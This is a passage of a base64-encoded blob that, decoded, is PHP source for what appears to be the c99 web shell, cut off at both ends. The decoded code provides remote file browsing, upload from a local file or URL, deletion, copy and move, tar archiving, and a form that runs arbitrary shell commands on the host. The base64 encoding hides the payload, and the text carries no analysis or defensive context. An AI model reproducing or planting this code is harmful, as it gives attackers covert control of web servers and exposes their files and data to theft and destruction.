iIudXJsZW5jb2RlKCRkKS4iXCI+DQpTZWxlY3QgZmlsZSBvbiB5b3VyIGxvY2FsIGNvbXB1dGVyOiA8aW5wdXQgbmFtZT1cInVwbG9hZGZpbGVcIiB0eXBlPVwiZmlsZVwiPjxicj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtvcjxicj4NCklucHV0IFVSTDogPGlucHV0IG5hbWU9XCJ1cGxvYWR1cmxcIiB0eXBlPVwidGV4dFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCR1cGxvYWR1cmwpLiJcIiBzaXplPVwiNzBcIj48YnI+PGJyPg0KU2F2ZSB0aGlzIGZpbGUgZGlyOiA8aW5wdXQgbmFtZT1cInVwbG9hZHBhdGhcIiBzaXplPVwiNzBcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48YnI+PGJyPg0KRmlsZS1uYW1lIChhdXRvLWZpbGwpOiA8aW5wdXQgbmFtZT11cGxvYWRmaWxlbmFtZSBzaXplPTI1Pjxicj48YnI+DQo8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVwbG9hZGF1dG9uYW1lIHZhbHVlPTEgaWQ9ZGY0PiZuYnNwO2NvbnZlcnQgZmlsZSBuYW1lIHRvIGxvdmVyY2FzZTxicj48YnI+DQo8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJVcGxvYWRcIj4NCjwvZm9ybT4iOw0KIH0NCn0NCmlmICgkYWN0ID09ICJkZWxldGUiKQ0Kew0KICRkZWxlcnIgPSAiIjsNCiBmb3JlYWNoICgkYWN0Ym94IGFzICR2KQ0KIHsNCiAgJHJlc3VsdCA9IEZBTFNFOw0KICAkcmVzdWx0ID0gZnNfcm1vYmooJHYpOw0KICBpZiAoISRyZXN1bHQpIHskZGVsZXJyIC49ICJDYW4ndCBkZWxldGUgIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iPGJyPiI7fQ0KIH0NCiBpZiAoIWVtcHR5KCRkZWxlcnIpKSB7ZWNobyAiPGI+RGVsZXRpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iLiRkZWxlcnI7fQ0KICRhY3QgPSAibHMiOw0KfQ0KaWYgKCEkdXNlZnNidWZmKQ0Kew0KIGlmICgoJGFjdCA9PSAicGFzdGUiKSBvciAoJGFjdCA9PSAiY29weSIpIG9yICgkYWN0ID09ICJjdXQiKSBvciAoJGFjdCA9PSAidW5zZWxlY3QiKSkge2VjaG8gIjxjZW50ZXI+PGI+U29ycnksIGJ1ZmZlciBpcyBkaXNhYmxlZC4gRm9yIGVuYWJsZSwgc2V0IGRpcmVjdGl2ZSBcIlwkdXNlRlNidWZmXCIgYXMgVFJVRS48L2NlbnRlcj4iO30NCn0NCmVsc2UNCnsNCiBpZiAoJGFjdCA9PSAiY29weSIpIHskZXJyID0gIiI7ICRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkYWN0Ym94KTsgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkYWN0ID0gImxzIjsgfQ0KIGVsc2VpZiAoJGFjdCA9PSAiY3V0IikgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY3V0Il0sJGFjdGJveCk7IGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsgJGFjdCA9ICJscyI7fQ0KIGVsc2VpZiAoJGFjdCA9PSAidW5zZWxlY3QiKSB7Zm9yZWFjaCAoJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkdiwkYWN0Ym94KSkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO319IGZvcmVhY2ggKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkdiwkYWN0Ym94KSkge3Vuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7fX0gYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkYWN0ID0gImxzIjt9DQogaWYgKCRhY3RlbXB0eWJ1ZmYpIHskc2Vzc19kYXRhWyJjb3B5Il0gPSAkc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5KCk7IGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTt9DQogZWxzZWlmICgkYWN0cGFzdGVidWZmKQ0KIHsNCiAgJHBzdGVyciA9ICIiOw0KICBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpDQogIHsNCiAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsNCiAgIGlmICghZnNfY29weV9vYmooJHYsJHRvKSkgeyRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgaWYgKCRjb3B5X3Vuc2V0KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fQ0KICB9DQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KQ0KICB7DQogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICBpZiAoIWZzX21vdmVfb2JqKCR2LCR0bykpIHskcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIuJHYuIiB0byAiLiR0by4iITxicj4iO30NCiAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogIH0NCiAgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICBpZiAoIWVtcHR5KCRwc3RlcnIpKSB7ZWNobyAiPGI+UGFzdGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJHBzdGVycjt9DQogICRhY3QgPSAibHMiOw0KIH0NCiBlbHNlaWYgKCRhY3RhcmNidWZmKQ0KIHsNCiAgJGFyY2VyciA9ICIiOw0KICBpZiAoc3Vic3RyKCRhY3RhcmNidWZmX3BhdGgsLTcsNykgPT0gIi50YXIuZ3oiKSB7JGV4dCA9ICIudGFyLmd6Ijt9DQogIGVsc2UgeyRleHQgPSAiLnRhci5neiI7fQ0KICBpZiAoJGV4dCA9PSAiLnRhci5neiIpIHskY21kbGluZSA9ICJ0YXIgY2Z6diI7fQ0KICAkY21kbGluZSAuPSAiICIuJGFjdGFyY2J1ZmZfcGF0aDsNCiAgJG9iamVjdHMgPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjb3B5Il0sJHNlc3NfZGF0YVsiY3V0Il0pOw0KICBmb3JlYWNoKCRvYmplY3RzIGFzICR2KQ0KICB7DQogICAkdiA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdik7DQogICBpZiAoc3Vic3RyKCR2LDAsc3RybGVuKCRkKSkgPT0gJGQpIHskdiA9IGJhc2VuYW1lKCR2KTt9DQogICBpZiAoaXNfZGlyKCR2KSkNCiAgIHsNCiAgICBpZiAoc3Vic3RyKCR2LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHYgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgJHYgLj0gIioiOw0KICAgfQ0KICAgJGNtZGxpbmUgLj0gIiAiLiR2Ow0KICB9DQogICR0bXAgPSByZWFscGF0aCgiLiIpOw0KICBjaGRpcigkZCk7DQogICRyZXQgPSBteXNoZWxsZXhlYygkY21kbGluZSk7DQogIGNoZGlyKCR0bXApOw0KICBpZiAoZW1wdHkoJHJldCkpIHskYXJjZXJyIC49ICJDYW4ndCBjYWxsIGFyY2hpdmF0b3IgKCIuaHRtbHNwZWNpYWxjaGFycyhzdHIybWluaSgkY21kbGluZSw2MCkpLiIpITxicj4iO30NCiAgJHJldCA9IHN0cl9yZXBsYWNlKCJcclxuIiwiXG4iLCRyZXQpOw0KICAkcmV0ID0gZXhwbG9kZSgiXG4iLCRyZXQpOw0KICBpZiAoJGNvcHlfdW5zZXQpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9fQ0KICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikNCiAgew0KICAgaWYgKGluX2FycmF5KCR2LCRyZXQpKSB7ZnNfcm1vYmooJHYpO30NCiAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogIH0NCiAgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICBpZiAoIWVtcHR5KCRhcmNlcnIpKSB7ZWNobyAiPGI+QXJjaGl2YXRpb24gZXJyb3JzOjwvYj48YnI+Ii4kYXJjZXJyO30NCiAgJGFjdCA9ICJscyI7DQogfQ0KIGVsc2VpZiAoJGFjdHBhc3RlYnVmZikNCiB7DQogICRwc3RlcnIgPSAiIjsNCiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KQ0KICB7DQogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICBpZiAoIWZzX2NvcHlfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgaWYgKCRjb3B5X3Vuc2V0KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fQ0KICB9DQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KQ0KICB7DQogICAkdG8gPSAkZC5iYXNlbmFtZSgkdik7DQogICBpZiAoIWZzX21vdmVfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0gIkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQ0KICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTsNCiAgfQ0KICBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7DQogIGlmICghZW1wdHkoJHBzdGVycikpIHtlY2hvICI8Yj5QYXN0aW5nIHdpdGggZXJyb3JzOjwvYj48YnI+Ii4kcHN0ZXJyO30NCiAgJGFjdCA9ICJscyI7DQogfQ0KfQ0KaWYgKCRhY3QgPT0gImNtZCIpDQp7DQppZiAodHJpbSgkY21kKSA9PSAicHMgLWF1eCIpIHskYWN0ID0gInByb2Nlc3NlcyI7fQ0KZWxzZWlmICh0cmltKCRjbWQpID09ICJ0YXNrbGlzdCIpIHskYWN0ID0gInByb2Nlc3NlcyI7fQ0KZWxzZQ0Kew0KIEBjaGRpcigkY2hkaXIpOw0KIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogew0KICBlY2hvICI8Yj5SZXN1bHQgb2YgZXhlY3V0aW9uIHRoaXMgY29tbWFuZDwvYj46PGJyPiI7DQogICRvbGRkaXIgPSByZWFscGF0aCgiLiIpOw0KICBAY2hkaXIoJGQpOw0KICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGNtZCk7DQogICRyZXQgPSBjb252ZXJ0X2N5cl9zdHJpbmcoJHJldCwiZCIsInciKTsNCiAgaWYgKCRjbWRfdHh0KQ0KICB7DQogICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCRyZXQpKSsxOw0KICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30NCiAgIGVjaG8gIjxicj48dGV4dGFyZWEgY29scz1cIjEyMlwiIHJvd3M9XCIiLiRyb3dzLiJcIiByZWFkb25seT4iLmh0bWxzcGVjaWFsY2hhcnMoJHJldCkuIjwvdGV4dGFyZWE+IjsNCiAgfQ0KICBlbHNlIHtlY2hvICRyZXQuIjxicj4iO30NCiAgQGNoZGlyKCRvbGRkaXIpOw0KIH0NCiBlbHNlIHtlY2hvICI8Yj5FeGVjdXRpb24gY29tbWFuZDwvYj4iOyBpZiAoZW1wdHkoJGNtZF90eHQpKSB7JGNtZF90eHQgPSBUUlVFO319DQogZWNobyAiPGZvcm0gbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWNtZD48dGV4dGFyZWEgbmFtZT1jbWQgY29scz0xMjIgcm93cz0xMD4iLmh0bWxzcGVjaWFsY2hhcnMoJGNtZCkuIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+Jm5ic3A7RGlzcGxheSBpbiB0ZXh0LWFyZWEmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImNtZF90eHRcIiB2YWx1ZT1cIjFcIiI7IGlmICgkY21kX3R4dCkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48L2Zvcm0+IjsNCn0NCn0NCmlmICgkYWN0ID09ICJscyIpDQp7DQogaWYgKGNvdW50KCRsc19hcnIpID4gMCkgeyRsaXN0ID0gJGxzX2Fycjt9DQogZWxzZQ0KIHsNCiAgJGxpc3QgPSBhcnJheSgpOw0KICBpZiAoJGggPSBAb3BlbmRpcigkZCkpDQogIHsNCiAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSB7JGxpc3RbXSA9ICRkLiRvO30NCiAgIGNsb3NlZGlyKCRoKTsNCiAgfQ0KICBlbHNlIHt9DQogfQ0KIGlmIChjb3VudCgkbGlzdCkgPT0gMCkge2VjaG8gIjxjZW50ZXI+PGI+Q2FuJ3Qgb3BlbiBmb2xkZXIgKCIuaHRtbHNwZWNpYWxjaGFycygkZCkuIikhPC9iPjwvY2VudGVyPiI7fQ0KIGVsc2UNCiB7DQogIC8vQnVpbGRpbmcgYXJyYXkNCiAgJG9iamVjdHMgPSBhcnJheSgpOw0KICAkdmQgPSAiZiI7IC8vVmlld2luZyBtb2RlDQogIGlmICgkdmQgPT0gImYiKQ0KICB7DQogICAkb2JqZWN0c1siaGVhZCJdID0gYXJyYXkoKTsNCiAgICRvYmplY3RzWyJmb2xkZXJzIl0gPSBhcnJheSgpOw0KICAgJG9iamVjdHNbImxpbmtzIl0gPSBhcnJheSgpOw0KICAgJG9iamVjdHNbImZpbGVzIl0gPSBhcnJheSgpOw0KICAgZm9yZWFjaCAoJGxpc3QgYXMgJHYpDQogICB7DQogICAgJG8gPSBiYXNlbmFtZSgkdik7DQogICAgJHJvdyA9IGFycmF5KCk7DQogICAgaWYgKCRvID09ICIuIikgeyRyb3dbXSA9ICRkLiRvOyAkcm93W10gPSAiTElOSyI7fQ0KICAgIGVsc2VpZiAoJG8gPT0gIi4uIikgeyRyb3dbXSA9ICRkLiRvOyAkcm93W10gPSAiTElOSyI7fQ0KICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkNCiAgICB7DQogICAgIGlmIChpc19saW5rKCR2KSkgeyR0eXBlID0gIkxJTksiO30NCiAgICAgZWxzZSB7JHR5cGUgPSAiRElSIjt9DQogICAgICRyb3dbXSA9ICR2Ow0KICAgICAkcm93W10gPSAkdHlwZTsNCiAgICB9DQogICAgZWxzZWlmKGlzX2ZpbGUoJHYpKSB7JHJvd1tdID0gJHY7ICRyb3dbXSA9IGZpbGVzaXplKCR2KTt9DQogICAgJHJvd1tdID0gZmlsZW10aW1lKCR2KTsNCiAgICBpZiAoISR3aW4pDQogICAgew0KICAgICAvLyRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkdikpOw0KICAgICAvLyRnciA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkdikpOw0KICAgICAkcm93W10gPSAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCR2KSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJHYpKTsNCiAgICB9DQogICAgJHJvd1tdID0gZmlsZXBlcm1zKCR2KTsNCiAgICBpZiAoKCRvID09ICIuIikgb3IgKCRvID09ICIuLiIpKSB7JG9iamVjdHNbImhlYWQiXVtdID0gJHJvdzt9DQogICAgZWxzZWlmIChpc19saW5rKCR2KSkgeyRvYmplY3RzWyJsaW5rcyJdW10gPSAkcm93O30NCiAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskb2JqZWN0c1siZm9sZGVycyJdW10gPSAkcm93O30NCiAgICBlbHNlaWYgKGlzX2ZpbGUoJHYpKSB7JG9iamVjdHNbImZpbGVzIl1bXSA9ICRyb3c7fQ0KICAgICRpKys7DQogICB9DQogICAkcm93ID0gYXJyYXkoKTsNCiAgICRyb3dbXSA9ICI8Yj5OYW1lPC9iPiI7DQogICAkcm93W10gPSAiPGI+U2l6ZTwvYj4iOw0KICAgJHJvd1tdID0gIjxiPk1vZGlmeTwvYj4iOw0KICAgaWYgKCEkd2luKQ0KICB7JHJvd1tdID0gIjxiPk93bmVyL0dyb3VwPC9iPiI7fQ0KICAgJHJvd1tdID0gIjxiPlBlcm1zPC9iPiI7DQogICAkcm93W10gPSAiPGI+QWN0aW9uPC9iPiI7DQogICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRzb3J0KTsNCiAgICRzb3J0ID0gJHBhcnNlc29ydFswXS4kcGFyc2Vzb3J0WzFdOw0KICAgJGsgPSAkcGFyc2Vzb3J0WzBdOw0KICAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHBhcnNlc29ydFsxXSA9ICJkIjt9DQogICAkeSA9ICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nIi4kZHNwYWN0LiInO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoJGQpLiInO2RvY3VtZW50LnRvZG8uc29ydC52YWx1ZT0nIi4kay4oJHBhcnNlc29ydFsxXSA9PSAiYSI/ImQiOiJhIikuIjtkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPiI7DQogICAkcm93WyRrXSAuPSAkeTsNCiAgIGZvcigkaT0wOyRpPGNvdW50KCRyb3cpLTE7JGkrKykNCiAgIHsNCiAgICBpZiAoJGkgIT0gJGspIHskcm93WyRpXSA9ICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nIi4kZHNwYWN0LiInO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoJGQpLiInO2RvY3VtZW50LnRvZG8uc29ydC52YWx1ZT0nIi4kaS4kcGFyc2Vzb3J0WzFdLiInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+Ii4kcm93WyRpXS4iPC9hPiI7fQ0KICAgfQ0KICAgJHYgPSAkcGFyc2Vzb3J0WzBdOw0KICAgdXNvcnQoJG9iamVjdHNbImZvbGRlcnMiXSwgInRhYnNvcnQiKTsNCiAgIHVzb3J0KCRvYmplY3RzWyJsaW5rcyJdLCAidGFic29ydCIpOw0KICAgdXNvcnQoJG9iamVjdHNbImZpbGVzIl0sICJ0YWJzb3J0Iik7DQogICBpZiAoJHBhcnNlc29ydFsxXSA9PSAiZCIpDQogICB7DQogICAgJG9iamVjdHNbImZvbGRlcnMiXSA9IGFycmF5X3JldmVyc2UoJG9iamVjdHNbImZvbGRlcnMiXSk7DQogICAgJG9iamVjdHNbImZpbGVzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmaWxlcyJdKTsNCiAgIH0NCiAgICRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJG9iamVjdHNbImhlYWQiXSwkb2JqZWN0c1siZm9sZGVycyJdLCRvYmplY3RzWyJsaW5rcyJdLCRvYmplY3RzWyJmaWxlcyJdKTsNCiAgICR0YWIgPSBhcnJheSgpOw0KICAgJHRhYlsiY29scyJdID0gYXJyYXkoJHJvdyk7DQogICAkdGFiWyJoZWFkIl0gPSBhcnJheSgpOw0KICAgJHRhYlsiZm9sZGVycyJdID0gYXJyYXkoKTsNCiAgICR0YWJbImxpbmtzIl0gPSBhcnJheSgpOw0KICAgJHRhYlsiZmlsZXMiXSA9IGFycmF5KCk7DQogICAkaSA9IDA7DQogICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkYSkNCiAgIHsNCiAgICAkdiA9ICRhWzBdOw0KICAgICRvID0gYmFzZW5hbWUoJHYpOw0KICAgICRkaXIgPSBkaXJuYW1lKCR2KTsNCiAgICBpZiAoJGRpc3BfZnVsbHBhdGgpIHskZGlzcHBhdGggPSAkdjt9DQogICAgZWxzZSB7JGRpc3BwYXRoID0gJG87fQ0KICAgICRkaXNwcGF0aCA9IHN0cjJtaW5pKCRkaXNwcGF0aCw2MCk7DQogICAgaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImN1dCJdKSkgeyRkaXNwcGF0aCA9ICI8c3RyaWtlPiIuJGRpc3BwYXRoLiI8L3N0cmlrZT4iO30NCiAgICBlbHNlaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImNvcHkiXSkpIHskZGlzcHBhdGggPSAiPHU+Ii4kZGlzcHBhdGguIjwvdT4iO30NCiAgICBmb3JlYWNoICgkcmVneHBfaGlnaGxpZ2h0IGFzICRyKQ0KICAgIHsNCiAgICAgaWYgKGVyZWcoJHJbMF0sJG8pKQ0KICAgICB7DQogICAgICBpZiAoKCFpc19udW1lcmljKCRyWzFdKSkgb3IgKCRyWzFdID4gMykpIHskclsxXSA9IDA7IG9iX2NsZWFuKCk7IGVjaG8gIldhcm5pbmchIENvbmZpZ3VyYXRpb24gZXJyb3IgaW4gXCRyZWd4cF9oaWdobGlnaHRbIi4kay4iXVswXSAtIHVua25vd24gY29tbWFuZC4iOyBjOTlzaGV4aXQoKTt9DQogICAgICBlbHNlDQogICAgICB7DQogICAgICAgJHJbMV0gPSByb3VuZCgkclsxXSk7DQogICAgICAgJGlzZGlyID0gaXNfZGlyKCR2KTsNCiAgICAgICBpZiAoKCRyWzFdID09IDApIG9yICgoJHJbMV0gPT0gMSkgYW5kICEkaXNkaXIpIG9yICgoJHJbMV0gPT0gMikgYW5kICEkaXNkaXIpKQ0KICAgICAgIHsNCiAgICAgICAgaWYgKGVtcHR5KCRyWzJdKSkgeyRyWzJdID0gIjxiPiI7ICRyWzNdID0gIjwvYj4iO30NCiAgICAgICAgJGRpc3BwYXRoID0gJHJbMl0uJGRpc3BwYXRoLiRyWzNdOw0KICAgICAgICBpZiAoJHJbNF0pIHticmVhazt9DQogICAgICAgfQ0KICAgICAgfQ0KICAgICB9DQogICAgfQ0KICAgICR1byA9IHVybGVuY29kZSgkbyk7DQogICAgJHVkID0gdXJsZW5jb2RlKCRkaXIpOw0KICAgICR1diA9IHVybGVuY29kZSgkdik7DQogICAgJHJvdyA9IGFycmF5KCk7DQogICAgaWYgKCRvID09ICIuIikNCiAgICB7DQogICAgICRyb3dbXSA9ICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nIi4kZHNwYWN0LiInO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUocmVhbHBhdGgoJGQuJG8pKS4iJztkb2N1bWVudC50b2RvLnNvcnQudmFsdWU9JyIuJHNvcnQuIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj4iLiRvLiI8L2E+IjsNCiAgICAgJHJvd1tdID0gIkxJTksiOw0KICAgIH0NCiAgICBlbHNlaWYgKCRvID09ICIuLiIpDQogICAgew0KICAgICAkcm93W10gPSAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9JyIuJGRzcGFjdC4iJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIic7ZG9jdW1lbnQudG9kby5zb3J0LnZhbHVlPSciLiRzb3J0LiInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+Ii4kby4iPC9hPiI7DQogICAgICRyb3dbXSA9ICJMSU5LIjsNCiAgICB9DQogICAgZWxzZWlmIChpc19kaXIoJHYpKQ0KICAgIHsNCiAgICAgaWYgKGlzX2xpbmsoJHYpKQ0KICAgICB7DQogICAgICAkZGlzcHBhdGggLj0gIiA9PiAiLnJlYWRsaW5rKCR2KTsNCiAgICAgICR0eXBlID0gIkxJTksiOw0KICAgICAgJHJvd1tdID0gICImbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nbHMnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi4kdXYuIic7ZG9jdW1lbnQudG9kby5zb3J0LnZhbHVlPSciLiRzb3J0LiInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+WyIuJGRpc3BwYXRoLiJdPC9hPiI7ICAgICAgICAgfQ0KICAgICBlbHNlDQogICAgIHsNCiAgICAgICR0eXBlID0gIkRJUiI7DQogICAgICAkcm93W10gPSAgIiZuYnNwOzxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdscyc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLiR1di4iJztkb2N1bWVudC50b2RvLnNvcnQudmFsdWU9JyIuJHNvcnQuIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj5bIi4kZGlzcHBhdGguIl08L2E+IjsNCiAgICAgfQ0KICAgICAkcm93W10gPSAkdHlwZTsNCiAgICB9DQogICAgZWxzZWlmKGlzX2ZpbGUoJHYpKQ0KICAgIHsNCiAgICAgJGV4dCA9IGV4cGxvZGUoIi4iLCRvKTsNCiAgICAgJGMgPSBjb3VudCgkZXh0KS0xOw0KICAgICAkZXh0ID0gJGV4dFskY107DQogICAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOw0KICAgICAkcm93W10gPSAgIiZuYnNwOzxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdmJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIuJHVkLiInO2RvY3VtZW50LnRvZG8uZi52YWx1ZT0nIi4kdW8uIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj4iLiRkaXNwcGF0aC4iPC9hPiI7DQogICAgICRyb3dbXSA9IHZpZXdfc2l6ZSgkYVsxXSk7DQogICAgfQ0KICAgICRyb3dbXSA9IGRhdGUoImQubS5ZIEg6aTpzIiwkYVsyXSk7DQogICAgaWYgKCEkd2luKSB7JHJvd1tdID0gJGFbM107fQ0KICAgICAkcm93W10gPSAgIiZuYnNwOzxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdjaG1vZCc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLiR1ZC4iJztkb2N1bWVudC50b2RvLmYudmFsdWU9JyIuJHVvLiInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+PGI+Ii52aWV3X3Blcm1zX2NvbG9yKCR2KS4iPC9iPjwvYT4iOw0KICAgIGlmICgkbyA9PSAiLiIpIHskY2hlY2tib3ggPSAiPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJhY3Rib3hbXVwiIG9uY2xpY2s9XCJsc19yZXZlcnNlX2FsbCgpO1wiPiI7ICRpLS07fQ0KICAgIGVsc2UgeyRjaGVja2JveCA9ICI8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImFjdGJveFtdXCIgaWQ9XCJhY3Rib3giLiRpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdikuIlwiPiI7fQ0KICAgIGlmIChpc19kaXIoJHYpKXskcm93W10gPSAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2QnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi4kdXYuIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj5JPC9hPiZuYnNwOyIuJGNoZWNrYm94O30NCiAgICBlbHNlIHskcm93W10gPSAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2YnO2RvY3VtZW50LnRvZG8uZi52YWx1ZT0nIi4kdW8uIic7ZG9jdW1lbnQudG9kby5mdC52YWx1ZT0naW5mbyc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLiR1ZC4iJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPkk8L2E+Jm5ic3A7PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2YnO2RvY3VtZW50LnRvZG8uZi52YWx1ZT0nIi4kdW8uIic7ZG9jdW1lbnQudG9kby5mdC52YWx1ZT0nZWRpdCc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLiR1ZC4iJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPkU8L2E+Jm5ic3A7PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsd